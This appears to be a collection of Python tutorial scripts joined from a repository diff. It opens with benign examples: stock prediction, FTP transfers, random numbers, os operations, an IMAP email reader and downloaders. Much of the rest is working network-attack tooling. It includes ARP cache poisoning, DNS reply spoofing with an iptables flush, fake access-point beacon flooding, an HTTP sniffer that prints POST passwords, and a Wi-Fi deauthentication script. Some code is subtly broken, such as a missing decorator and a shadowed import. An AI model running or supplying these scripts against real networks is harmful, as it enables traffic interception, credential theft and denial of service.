lookup_step=1, + test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']): + """ + Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting. + Params: + ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc. + n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50 + scale (bool): whether to scale prices from 0 to 1, default is True + shuffle (bool): whether to shuffle the data, default is True + lookup_step (int): the future lookup step to predict, default is 1 (e.g next day) + test_size (float): ratio for test data, default is 0.2 (20% testing data) + feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin + """ + # see if ticker is already a loaded stock from yahoo finance + if isinstance(ticker, str): + # load it from yahoo_fin library + df = si.get_data(ticker) + elif isinstance(ticker, pd.DataFrame): + # already loaded, use it directly + df = ticker + else: + raise TypeError("ticker can be either a str or a pd.DataFrame instances") + + # this will contain all the elements we want to return from this function + result = {} + # we will also return the original dataframe itself + result['df'] = df.copy() + + # make sure that the passed feature_columns exist in the dataframe + for col in feature_columns: + assert col in df.columns + + if scale: + column_scaler = {} + # scale the data (prices) from 0 to 1 + for column in feature_columns: + scaler = preprocessing.MinMaxScaler() + df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1)) + column_scaler[column] = scaler + + # add the MinMaxScaler instances to the result returned + result["column_scaler"] = column_scaler + + # add the target column (label) by shifting by lookup_step + df['future'] = df['adjclose'].shift(-lookup_step) + + # last lookup_step columns contains NaN in future column + # get them before droping NaNs + last_sequence = np.array(df[feature_columns].tail(lookup_step)) + + # drop NaNs + df.dropna(inplace=True) + + sequence_data = [] + sequences = deque(maxlen=n_steps) + + for entry, target in zip(df[feature_columns].values, df['future'].values): + sequences.append(entry) + if len(sequences) == n_steps: + sequence_data.append([np.array(sequences), target]) + + # get the last sequence by appending the last n_step sequence with lookup_step sequence + # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length + # this last_sequence will be used to predict in future dates that are not available in the dataset + last_sequence = list(sequences) + list(last_sequence) + # shift the last sequence by -1 + last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna()) + # add to result + result['last_sequence'] = last_sequence + + # construct the X's and y's + X, y = [], [] + for seq, target in sequence_data: + X.append(seq) + y.append(target) + + # convert to numpy arrays + X = np.array(X) + y = np.array(y) + + # reshape X to fit the neural network + X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) + + # split the dataset + result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, + test_size=test_size, shuffle=shuffle) + # return the result + return result + + +def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, + loss="mean_absolute_error", optimizer="rmsprop"): + model = Sequential() + for i in range(n_layers): + if i == 0: + # first layer + model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) + elif i == n_layers - 1: + # last layer + model.add(cell(units, return_sequences=False)) + else: + # hidden layers + model.add(cell(units, return_sequences=True)) + # add dropout after each layer + model.add(Dropout(dropout)) + + model.add(Dense(1, activation="linear")) + model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) + + return model + + + + +from stock_prediction import create_model, load_data, np +from parameters import * +import matplotlib.pyplot as plt +from sklearn.metrics import accuracy_score + +def plot_graph(model, data): + y_test = data["y_test"] + X_test = data["X_test"] + y_pred = model.predict(X_test) + y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) + y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) + plt.plot(y_test[-200:], c='b') + plt.plot(y_pred[-200:], c='r') + plt.xlabel("Days") + plt.ylabel("Price") + plt.legend(["Actual Price", "Predicted Price"]) + plt.show() + + +def get_accuracy(model, data): + y_test = data["y_test"] + X_test = data["X_test"] + y_pred = model.predict(X_test) + y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) + y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) + y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:])) + y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:])) + return accuracy_score(y_test, y_pred) + + +def predict(model, data, classification=False): + # retrieve the last sequence from data + last_sequence = data["last_sequence"][:N_STEPS] + # retrieve the column scalers + column_scaler = data["column_scaler"] + # reshape the last sequence + last_sequence = last_sequence.reshape((last_sequence.shape[1], last_sequence.shape[0])) + # expand dimension + last_sequence = np.expand_dims(last_sequence, axis=0) + # get the prediction (scaled from 0 to 1) + prediction = model.predict(last_sequence) + # get the price (by inverting the scaling) + predicted_price = column_scaler["adjclose"].inverse_transform(prediction)[0][0] + return predicted_price + + +# load the data +data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, + feature_columns=FEATURE_COLUMNS, shuffle=False) + +# construct the model +model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, + dropout=DROPOUT, optimizer=OPTIMIZER) + +model_path = os.path.join("results", model_name) + ".h5" +model.load_weights(model_path) + +# evaluate the model +mse, mae = model.evaluate(data["X_test"], data["y_test"]) +# calculate the mean absolute error (inverse scaling) +mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform(mae.reshape(1, -1))[0][0] +print("Mean Absolute Error:", mean_absolute_error) +# predict the future price +future_price = predict(model, data) +print(f"Future price after {LOOKUP_STEP} days is {future_price:.2f}") +print("Accuracy Score:", get_accuracy(model, data)) +plot_graph(model, data) + + + + +from stock_prediction import create_model, load_data +from tensorflow.keras.layers import LSTM +from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard +import os +import pandas as pd +from parameters import * + + +# create these folders if they does not exist +if not os.path.isdir("results"): + os.mkdir("results") + +if not os.path.isdir("logs"): + os.mkdir("logs") + +if not os.path.isdir("data"): + os.mkdir("data") + +# load the data +data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS) + +# construct the model +model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, + dropout=DROPOUT, optimizer=OPTIMIZER) + +# some tensorflow callbacks +checkpointer = ModelCheckpoint(os.path.join("results", model_name), save_weights_only=True, save_best_only=True, verbose=1) +tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) + +history = model.fit(data["X_train"], data["y_train"], + batch_size=BATCH_SIZE, + epochs=EPOCHS, + validation_data=(data["X_test"], data["y_test"]), + callbacks=[checkpointer, tensorboard], + verbose=1) + +model.save(os.path.join("results", model_name) + ".h5") + + + + +import ftplib + +FTP_HOST = "ftp.dlptest.com" +FTP_USER = "dlpuserdlptest.com" +FTP_PASS = "SzMf7rTE4pCrf9dV286GuNe4N" + +# connect to the FTP server +ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS) +# force UTF-8 encoding +ftp.encoding = "utf-8" +# the name of file you want to download from the FTP server +filename = "some_file.txt" +with open(filename, "wb") as file: + # use FTP's RETR command to download the file + ftp.retrbinary(f"RETR {filename}", file.write) + +# quit and close the connection +ftp.quit() + + + + +import ftplib + +# FTP server credentials +FTP_HOST = "ftp.dlptest.com" +FTP_USER = "dlpuserdlptest.com" +FTP_PASS = "SzMf7rTE4pCrf9dV286GuNe4N" + +# connect to the FTP server +ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS) +# force UTF-8 encoding +ftp.encoding = "utf-8" +# local file name you want to upload +filename = "some_file.txt" +with open(filename, "rb") as file: + # use FTP's STOR command to upload the file + ftp.storbinary(f"STOR {filename}", file) +# list current files & directories +ftp.dir() +# quit and close the connection +ftp.quit() + + + + +import random +import os +import string +import secrets + +# generate random integer between a and b (including a and b) +randint = random.randint(1, 500) +print("randint:", randint) + +# generate random integer from range +randrange = random.randrange(0, 500, 5) +print("randrange:", randrange) + +# get a random element from this list +choice = random.choice(["hello", "hi", "welcome", "bye", "see you"]) +print("choice:", choice) + +# get 5 random elements from 0 to 1000 +choices = random.choices(range(1000), k=5) +print("choices:", choices) + +# generate a random floating point number from 0.0 <= x <= 1.0 +randfloat = random.random() +print("randfloat between 0.0 and 1.0:", randfloat) + +# generate a random floating point number such that a <= x <= b +randfloat = random.uniform(5, 10) +print("randfloat between 5.0 and 10.0:", randfloat) + +l = list(range(10)) +print("Before shuffle:", l) +random.shuffle(l) +print("After shuffle:", l) + +# generate a random string +randstring = ''.join(random.sample(string.ascii_letters, 16)) +print("Random string with 16 characters:", randstring) + +# crypto-safe byte generation +randbytes_crypto = os.urandom(16) +print("Random bytes for crypto use using os:", randbytes_crypto) + +# or use this +randbytes_crypto = secrets.token_bytes(16) +print("Random bytes for crypto use using secrets:", randbytes_crypto) + +# crypto-secure string generation +randstring_crypto = secrets.token_urlsafe(16) +print("Random strings for crypto use:", randstring_crypto) + +# crypto-secure bits generation +randbits_crypto = secrets.randbits(16) +print("Random 16-bits for crypto use:", randbits_crypto) + + + + +import os + +# print the current directory +print("The current directory:", os.getcwd()) + +# make an empty directory (folder) +os.mkdir("folder") +# running mkdir again with the same name raises FileExistsError, run this instead: +# if not os.path.isdir("folder"): +# os.mkdir("folder") +# changing the current directory to 'folder' +os.chdir("folder") +# printing the current directory now +print("The current directory changing the directory to folder:", os.getcwd()) + +# go back a directory +os.chdir("..") + +# make several nested directories +os.makedirs("nested1/nested2/nested3") + +# create a new text file +text_file = open("text.txt", "w") +# write to this file some text +text_file.write("This is a text file") + +# rename text.txt to renamed-text.txt +os.rename("text.txt", "renamed-text.txt") + +# replace (move) this file to another directory +os.replace("renamed-text.txt", "folder/renamed-text.txt") + +# print all files and folders in the current directory +print("All folders & files:", os.listdir()) + +# print all files & folders recursively +for dirpath, dirnames, filenames in os.walk("."): + # iterate over directories + for dirname in dirnames: + print("Directory:", os.path.join(dirpath, dirname)) + # iterate over files + for filename in filenames: + print("File:", os.path.join(dirpath, filename)) +# delete that file +os.remove("folder/renamed-text.txt") +# remove the folder +os.rmdir("folder") + +# remove nested folders +os.removedirs("nested1/nested2/nested3") + +open("text.txt", "w").write("This is a text file") + +# print some stats about the file +print(os.stat("text.txt")) + +# get the file size for example +print("File size:", os.stat("text.txt").st_size) + + + + +import ftplib +import os +from datetime import datetime + +FTP_HOST = "ftp.ed.ac.uk" +FTP_USER = "anonymous" +FTP_PASS = "" + +# some utility functions that we gonna need +def get_size_format(n, suffix="B"): + # converts bytes to scaled format (e.g KB, MB, etc.) + for unit in ["", "K", "M", "G", "T", "P"]: + if n < 1024: + return f"{n:.2f}{unit}{suffix}" + n /= 1024 + + +def get_datetime_format(date_time): + # convert to datetime object + date_time = datetime.strptime(date_time, "%Y%m%d%H%M%S") + # convert to human readable date time string + return date_time.strftime("%Y/%m/%d %H:%M:%S") + + +# initialize FTP session +ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS) +# force UTF-8 encoding +ftp.encoding = "utf-8" +# print the welcome message +print(ftp.getwelcome()) +# change the current working directory to 'pub' folder and 'maps' subfolder +ftp.cwd("pub/maps") + +# LIST a directory +print("*"*50, "LIST", "*"*50) +ftp.dir() + +# NLST command +print("*"*50, "NLST", "*"*50) +print("{:20} {}".format("File Name", "File Size")) +for file_name in ftp.nlst(): + file_size = "N/A" + try: + ftp.cwd(file_name) + except Exception as e: + ftp.voidcmd("TYPE I") + file_size = get_size_format(ftp.size(file_name)) + print(f"{file_name:20} {file_size}") + + +print("*"*50, "MLSD", "*"*50) +# using the MLSD command +print("{:30} {:19} {:6} {:5} {:4} {:4} {:4} {}".format("File Name", "Last Modified", "Size", + "Perm","Type", "GRP", "MODE", "OWNER")) +for file_data in ftp.mlsd(): + # extract returning data + file_name, meta = file_data + # i.e directory, file or link, etc + file_type = meta.get("type") + if file_type == "file": + # if it is a file, change type of transfer data to IMAGE/binary + ftp.voidcmd("TYPE I") + # get the file size in bytes + file_size = ftp.size(file_name) + # convert it to human readable format (i.e in 'KB', 'MB', etc) + file_size = get_size_format(file_size) + else: + # not a file, may be a directory or other types + file_size = "N/A" + # date of last modification of the file + last_modified = get_datetime_format(meta.get("modify")) + # file permissions + permission = meta.get("perm") + + # get the file unique id + unique_id = meta.get("unique") + # user group + unix_group = meta.get("unix.group") + # file mode, unix permissions + unix_mode = meta.get("unix.mode") + # owner of the file + unix_owner = meta.get("unix.owner") + # print all + print(f"{file_name:30} {last_modified:19} {file_size:7} {permission:5} {file_type:4} {unix_group:4} {unix_mode:4} {unix_owner}") + + +# quit and close the connection +ftp.quit() + + + + +import imaplib +import email +from email.header import decode_header +import webbrowser +import os + +# account credentials +username = "youremailaddressprovider.com" +password = "yourpassword" + +# number of top emails to fetch +N = 3 + +# create an IMAP4 class with SSL, use your email provider's IMAP server +imap = imaplib.IMAP4_SSL("imap.gmail.com") +# authenticate +imap.login(username, password) + +# select a mailbox (in this case, the inbox mailbox) +# use imap.list() to get the list of mailboxes +status, messages = imap.select("INBOX") + +# total number of emails +messages = int(messages[0]) + +for i in range(messages-4, messages-N-4, -1): + # fetch the email message by ID + res, msg = imap.fetch(str(i), "(RFC822)") + for response in msg: + if isinstance(response, tuple): + # parse a bytes email into a message object + msg = email.message_from_bytes(response[1]) + # decode the email subject + subject = decode_header(msg["Subject"])[0][0] + if isinstance(subject, bytes): + # if it's a bytes, decode to str + subject = subject.decode() + # email sender + from_ = msg.get("From") + print("Subject:", subject) + print("From:", from_) + # if the email message is multipart + if msg.is_multipart(): + # iterate over email parts + for part in msg.walk(): + # extract content type of email + content_type = part.get_content_type() + content_disposition = str(part.get("Content-Disposition")) + try: + # get the email body + body = part.get_payload(decode=True).decode() + except: + pass + if content_type == "text/plain" and "attachment" not in content_disposition: + # print text/plain emails and skip attachments + print(body) + elif "attachment" in content_disposition: + # download attachment + filename = part.get_filename() + if filename: + if not os.path.isdir(subject): + # make a folder for this email (named after the subject) + os.mkdir(subject) + filepath = os.path.join(subject, filename) + # download attachment and save it + open(filepath, "wb").write(part.get_payload(decode=True)) + else: + # extract content type of email + content_type = msg.get_content_type() + # get the email body + body = msg.get_payload(decode=True).decode() + if content_type == "text/plain": + # print only text email parts + print(body) + if content_type == "text/html": + # if it's HTML, create a new HTML file and open it in browser + if not os.path.isdir(subject): + # make a folder for this email (named after the subject) + os.mkdir(subject) + filename = f"{subject[:50]}.html" + filepath = os.path.join(subject, filename) + # write the file + open(filepath, "w").write(body) + # open in the default browser + webbrowser.open(filepath) + + print("="*100) + +# close the connection and logout +imap.close() +imap.logout() + + + + +import requests +from concurrent.futures import ThreadPoolExecutor +from time import perf_counter + +# number of threads to spawn +n_threads = 5 + +# read 1024 bytes every time +buffer_size = 1024 + + +def download(url): + # download the body of response by chunk, not immediately + response = requests.get(url, stream=True) + # get the file name + filename = url.split("/")[-1] + with open(filename, "wb") as f: + for data in response.iter_content(buffer_size): + # write data read to the file + f.write(data) + + +if __name__ == "__main__": + urls = [ + "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg", + "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg", + "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg", + "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg", + "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg", + ] * 5 + + t = perf_counter() + with ThreadPoolExecutor(max_workers=n_threads) as pool: + pool.map(download, urls) + print(f"Time took: {perf_counter() - t:.2f}s") + + + + +import requests + +from threading import Thread +from queue import Queue + +# thread-safe queue initialization +q = Queue() +# number of threads to spawn +n_threads = 5 + +# read 1024 bytes every time +buffer_size = 1024 + +def download(): + global q + while True: + # get the url from the queue + url = q.get() + # download the body of response by chunk, not immediately + response = requests.get(url, stream=True) + # get the file name + filename = url.split("/")[-1] + with open(filename, "wb") as f: + for data in response.iter_content(buffer_size): + # write data read to the file + f.write(data) + # we're done downloading the file + q.task_done() + + +if __name__ == "__main__": + urls = [ + "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg", + "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg", + "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg", + "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg", + "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg", + ] * 5 + + # fill the queue with all the urls + for url in urls: + q.put(url) + + # start the threads + for t in range(n_threads): + worker = Thread(target=download) + # daemon thread means a thread that will end when the main thread ends + worker.daemon = True + worker.start() + + # wait until the queue is empty + q.join() + + + + +import requests +from time import perf_counter + +# read 1024 bytes every time +buffer_size = 1024 + +def download(url): + # download the body of response by chunk, not immediately + response = requests.get(url, stream=True) + # get the file name + filename = url.split("/")[-1] + with open(filename, "wb") as f: + for data in response.iter_content(buffer_size): + # write data read to the file + f.write(data) + + +if __name__ == "__main__": + urls = [ + "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg", + "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg", + "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg", + "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg", + "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg", + ] * 5 + + t = perf_counter() + for url in urls: + download(url) + print(f"Time took: {perf_counter() - t:.2f}s") + + + + +from scapy.all import Ether, ARP, srp, sniff, conf + +def get_mac(ip): + """ + Returns the MAC address of ip, if it is unable to find it + for some reason, throws IndexError + """ + p = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip) + result = srp(p, timeout=3, verbose=False)[0] + return result[0][1].hwsrc + + +def process(packet): + # if the packet is an ARP packet + if packet.haslayer(ARP): + # if it is an ARP response (ARP reply) + if packet[ARP].op == 2: + try: + # get the real MAC address of the sender + real_mac = get_mac(packet[ARP].psrc) + # get the MAC address from the packet sent to us + response_mac = packet[ARP].hwsrc + # if they're different, definetely there is an attack + if real_mac != response_mac: + print(f"[!] You are under attack, REAL-MAC: {real_mac.upper()}, FAKE-MAC: {response_mac.upper()}") + except IndexError: + # unable to find the real mac + # may be a fake IP or firewall is blocking packets + pass + + +if __name__ == "__main__": + import sys + try: + iface = sys.argv[1] + except IndexError: + iface = conf.iface + sniff(store=False, prn=process, iface=iface) + + + + +from scapy.all import Ether, ARP, srp, send +import argparse +import time +import os +import sys + +def _enable_linux_iproute(): + """ + Enables IP route ( IP Forward ) in linux-based distro + """ + file_path = "/proc/sys/net/ipv4/ip_forward" + with open(file_path) as f: + if f.read() == 1: + # already enabled + return + with open(file_path, "w") as f: + print(1, file=f) + + +def _enable_windows_iproute(): + """ + Enables IP route (IP Forwarding) in Windows + """ + from services import WService + # enable Remote Access service + service = WService("RemoteAccess") + service.start() + + +def enable_ip_route(verbose=True): + """ + Enables IP forwarding + """ + if verbose: + print("[!] Enabling IP Routing...") + _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute() + if verbose: + print("[!] IP Routing enabled.") + + +def get_mac(ip): + """ + Returns MAC address of any device connected to the network + If ip is down, returns None instead + """ + ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0) + if ans: + return ans[0][1].src + + +def spoof(target_ip, host_ip, verbose=True): + """ + Spoofs target_ip saying that we are host_ip. + it is accomplished by changing the ARP cache of the target (poisoning) + """ + # get the mac address of the target + target_mac = get_mac(target_ip) + # craft the arp 'is-at' operation packet, in other words an ARP response + # we don't specify 'hwsrc' (source MAC address) + # because by default, 'hwsrc' is the real MAC address of the sender (ours) + arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at') + # send the packet + # verbose = 0 means that we send the packet without printing any thing + send(arp_response, verbose=0) + if verbose: + # get the MAC address of the default interface we are using + self_mac = ARP().hwsrc + print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac)) + + +def restore(target_ip, host_ip, verbose=True): + """ + Restores the normal process of a regular network + This is done by sending the original informations + (real IP and MAC of host_ip ) to target_ip + """ + # get the real MAC address of target + target_mac = get_mac(target_ip) + # get the real MAC address of spoofed (gateway, i.e router) + host_mac = get_mac(host_ip) + # crafting the restoring packet + arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac) + # sending the restoring packet + # to restore the network to its normal process + # we send each reply seven times for a good measure (count=7) + send(arp_response, verbose=0, count=7) + if verbose: + print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac)) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="ARP spoof script") + parser.add_argument("target", help="Victim IP Address to ARP poison") + parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)") + parser.add_argument("-v", "--verbose", action="https://github.com/store_true", help="verbosity, default is True (simple message each second)") + args = parser.parse_args() + target, host, verbose = args.target, args.host, args.verbose + + enable_ip_route() + try: + while True: + # telling the target that we are the host + spoof(target, host, verbose) + # telling the host that we are the target + spoof(host, target, verbose) + # sleep for one second + time.sleep(1) + except KeyboardInterrupt: + print("[!] Detected CTRL+C ! restoring the network, please wait...") + restore(target, host) + restore(host, target) + + + + +import win32serviceutil +import time + + +class WService: + + def __init__(self, service, machine=None, verbose=False): + self.service = service + self.machine = machine + self.verbose = verbose + + property + def running(self): + return win32serviceutil.QueryServiceStatus(self.service)[1] == 4 + + def start(self): + if not self.running: + win32serviceutil.StartService(self.service) + time.sleep(1) + if self.running: + if self.verbose: + print(f"[+] {self.service} started successfully.") + return True + else: + if self.verbose: + print(f"[-] Cannot start {self.service}") + return False + elif self.verbose: + print(f"[!] {self.service} is already running.") + + def stop(self): + if self.running: + win32serviceutil.StopService(self.service) + time.sleep(0.5) + if not self.running: + if self.verbose: + print(f"[+] {self.service} stopped successfully.") + return True + else: + if self.verbose: + print(f"[-] Cannot stop {self.service}") + return False + elif self.verbose: + print(f"[!] {self.service} is not running.") + + def restart(self): + if self.running: + win32serviceutil.RestartService(self.service) + time.sleep(2) + if self.running: + if self.verbose: + print(f"[+] {self.service} restarted successfully.") + return True + else: + if self.verbose: + print(f"[-] Cannot start {self.service}") + return False + elif self.verbose: + print(f"[!] {self.service} is not running.") + + +def main(action, service): + service = WService(service, verbose=True) + if action == "start": + service.start() + elif action == "stop": + service.stop() + elif action == "restart": + service.restart() + + # getattr(remoteAccessService, action, "start")() + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Windows Service Handler") + parser.add_argument("service") + parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'", + action="https://github.com/store", required=True, dest="action") + + given_args = parser.parse_args() + + service, action = given_args.service, given_args.action + + main(action, service) + + + + +from scapy.all import * +import time + +hosts = [] +Ether = 1 + + +def listen_dhcp(): + # Make sure it is DHCP with the filter options + k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)') + +def print_packet(packet): + target_mac, requested_ip, hostname, vendor_id = [None] * 4 + if packet.haslayer(Ether): + target_mac = packet.getlayer(Ether).src + # get the DHCP options + dhcp_options = packet[DHCP].options + for item in dhcp_options: + try: + label, value = item + except ValueError: + continue + if label == 'requested_addr': + requested_ip = value + elif label == 'hostname': + hostname = value.decode() + elif label == 'vendor_class_id': + vendor_id = value.decode() + if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts: + hosts.append(target_mac) + time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ") + print("{}: {} - {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip)) + + +if __name__ == "__main__": + listen_dhcp() + + + + +from scapy.all import * +from netfilterqueue import NetfilterQueue +import os + + +# DNS mapping records, feel free to add/modify this dictionary +# for example, google.com will be redirected to 192.168.1.100 +dns_hosts = { + b"www.google.com.": "192.168.1.100", + b"google.com.": "192.168.1.100", + b"facebook.com.": "172.217.19.142" +} + + +def process_packet(packet): + """ + Whenever a new packet is redirected to the netfilter queue, + this callback is called. + """ + # convert netfilter queue packet to scapy packet + scapy_packet = IP(packet.get_payload()) + if scapy_packet.haslayer(DNSRR): + # if the packet is a DNS Resource Record (DNS reply) + # modify the packet + print("[Before]:", scapy_packet.summary()) + try: + scapy_packet = modify_packet(scapy_packet) + except IndexError: + # not UDP packet, this can be IPerror/UDPerror packets + pass + print("[After ]:", scapy_packet.summary()) + # set back as netfilter queue packet + packet.set_payload(bytes(scapy_packet)) + # accept the packet + packet.accept() + + +def modify_packet(packet): + """ + Modifies the DNS Resource Record packet ( the answer part) + to map our globally defined dns_hosts dictionary. + For instance, whenver we see a google.com answer, this function replaces + the real IP address (172.217.19.142) with fake IP address (192.168.1.100) + """ + # get the DNS question name, the domain name + qname = packet[DNSQR].qname + if qname not in dns_hosts: + # if the website isn't in our record + # we don't wanna modify that + print("no modification:", qname) + return packet + # craft new answer, overriding the original + # setting the rdata for the IP we want to redirect (spoofed) + # for instance, google.com will be mapped to "192.168.1.100" + packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) + # set the answer count to 1 + packet[DNS].ancount = 1 + # delete checksums and length of packet, because we have modified the packet + # new calculations are required ( scapy will do automatically ) + del packet[IP].len + del packet[IP].chksum + del packet[UDP].len + del packet[UDP].chksum + # return the modified packet + return packet + + +if __name__ == "__main__": + QUEUE_NUM = 0 + # insert the iptables FORWARD rule + os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM)) + # instantiate the netfilter queue + queue = NetfilterQueue() + try: + # bind the queue number to our callback process_packet + # and start it + queue.bind(QUEUE_NUM, process_packet) + queue.run() + except KeyboardInterrupt: + # if want to exit, make sure we + # remove that rule we just inserted, going back to normal. + os.system("iptables --flush") + + + + +from scapy.all import * +from threading import Thread +from faker import Faker + + +def send_beacon(ssid, mac, infinite=True): + dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac) + # type=0: management frame + # subtype=8: beacon frame + # addr1: MAC address of the receiver + # addr2: MAC address of the sender + # addr3: MAC address of the Access Point (AP) + + # beacon frame + + beacon = Dot11Beacon() + + # we inject the ssid name + essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) + + + # stack all the layers and add a RadioTap + frame = RadioTap()/dot11/beacon/essid + + # send the frame + if infinite: + sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0) + else: + sendp(frame, iface=iface, verbose=0) + + +if __name__ == "__main__": + import argparse + + parser = argparse.ArgumentParser(description="Fake Access Point Generator") + parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode") + parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated") + args = parser.parse_args() + n_ap = args.n_ap + iface = args.interface + + # generate random SSIDs and MACs + faker = Faker() + + ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ] + for ssid, mac in ssids_macs: + Thread(target=send_beacon, args=(ssid, mac)).start() + + + + +from scapy.all import * +from scapy.layers.http import HTTPRequest # import HTTP packet +from colorama import init, Fore + +# initialize colorama +init() + +# define colors +GREEN = Fore.GREEN +RED = Fore.RED +RESET = Fore.RESET + + +def sniff_packets(iface=None): + """ + Sniff 80 port packets with iface, if None (default), then the + scapy's default interface is used + """ + if iface: + # port 80 for http (generally) + # process_packet is the callback + sniff(filter="port 80", prn=process_packet, iface=iface, store=False) + else: + # sniff with default interface + sniff(filter="port 80", prn=process_packet, store=False) + + +def process_packet(packet): + """ + This function is executed whenever a packet is sniffed + """ + if packet.haslayer(HTTPRequest): + # if this packet is an HTTP Request + # get the requested URL + url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() + # get the requester's IP Address + ip = packet[IP].src + # get the request method + method = packet[HTTPRequest].Method.decode() + print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}") + if show_raw and packet.haslayer(Raw) and method == "POST": + # if show_raw flag is enabled, has raw data, and the requested method is "POST" + # then show raw + print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}") + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \ + + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets") + parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface") + parser.add_argument("--show-raw", dest="show_raw", action="https://github.com/store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.") + + # parse arguments + args = parser.parse_args() + iface = args.iface + show_raw = args.show_raw + + sniff_packets(iface) + + + + +from scapy.all import * + + +def deauth(target_mac, gateway_mac, inter=0.1, count=None, loop=1, iface="wlan0mon", verbose=1): + # 802.11 frame + # addr1: destination MAC + # addr2: source MAC + # addr3: Access Point MAC + dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac) + # stack them up + packet = RadioTap()/dot11/Dot11Deauth(reason=7) + # send the packet + sendp(packet, inter=inter, count=count, loop=loop, iface=iface, verbose=verbose) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="A python script for sending deauthentication frames") + parser.add_argument("target", help="Target MAC address to deauthenticate.") + parser.add_argument("gateway", help="Gateway MAC address that target is authenticated with") + parser.add_argument("-c" , "--count", help="number of deauthentication frames to send, specify 0 to keep sending infinitely, default is 0", default=0) + parser.add_argument("--interval", help="The sending frequency between two frames sent, default is 100ms", default=0.1) + 